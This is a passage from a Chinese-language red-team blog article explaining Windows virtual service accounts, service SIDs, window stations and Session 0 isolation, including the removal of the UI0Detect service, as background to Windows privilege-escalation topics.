来启动不就行了么?是的,是可行的。但是这样问题就是管理员来控制了,当服务过多的时候,管理员 很可能会疏忽,导致出现很多权限分配问题,最后都会归结于管理员水平问题。因此微软想出了服务SID 来解决服务隔离问题,而不是靠人的控制。随之虚拟账户就出现了。 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-17 No. 3 / 4 - Welcome to www.red-team.cn 0x03 虚拟服务账户 它比LocalService和NetworkService账号要更细化权限,并且虚拟服务账户是没有密码的。虚拟服务账 户可以使用对应的服务SID,服务SID是可以作为token的拥有着,并且这个token具有Everyone、 Users、Authenticated Users、All Services组的权限,因此服务可以像一个标准用户一样读写,但是权 限非常低。同样虚拟服务账号也有自己的profile,在%SystemRoot%\ServiceProfiles目录下,当服务 profile被导入时,注册表挂在在HKEY_USERS下面,key值是服务SID。 虚拟服务账户样式为NT SERVICE\<服务名>,账户中的服务名必须和运行的服务名相同,SCM会通过 SclsValidAcountName函数验证。因此虚拟服务账户不能用于运行分享式服务进程。服务进程分为2 中,独占式和分享式,顾名思义,独占式就是一个进程只运行一个服务,分享式则是一个进程下运行了 多个服务。 0x04 交互式服务和Session 0隔离 通常的服务账号是不能够打开UI程序的,这个根本原因不是服务账号的问题,而是windows子系统没有 把服务进程分配给交互式窗口。windows子系统分配windows进程到窗口站(windows station),用 于交互式的窗口站为WinSta0。而本地系统账户、本地服务账号、网络服务账户的窗口站分别为Service- 0x0-3e7$、Service-0x0-3e5$、Service-0x0-3e4$,他们都不是交互式窗口。但是服务注册表配置中可 以配置SERVICE_INTERACTIVE_PROCESS来让服务进程和WinSta0连接,让我们可以在桌面看见启动的 交互式程序,但是使用一个用户账户启动的服务不能使用这个参数。这样就能启用交互式服务了么?答 案是否定的。这就涉及到session 0隔离问题。所有系统进程和服务进程都是运行在session 0下的, session 0是隔离隐藏的。因此服务启动的程序还是不能在桌面看见。这里微软使用了一个叫UI0Detect 的服务,来打破了session 0隔离。这样就能正常的使用交互式服务了。但是打破session 0隔离,从安全 角度来说,是非常不安全的,因此默认是关闭的,在Windows 10 2018年4月的RS4更新中完全删除了这 个服务。因此即使你修改注册表 HKLM\SYSTEM\CurrentControlSet\Control\Windows\NoInteractiveServices来开启交互式服务。想打 破session 0也成为了不可能。因此交互式服务已死。 0x05 总结 Windows服务账户的权限划分,是随着系统发展,逐渐最小化的,这个过程中存在很多历史遗留问题, 也引出了window服务的很多安全问题。windows服务就写到这里,当然windows服务还有很多其他东 西,例如自启动、延时启动、触发式启动、错误处理等等。这个以后应该会嵌入到其他主题中。这里我 们了解的windows服务架构、windows服务账户权限、在加上COM、RPC的知识,就能够很好的理解微 软不修的一系列提权问题了。 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-17 No. 4 / 4 - Welcome to www.red-team.cn
pdf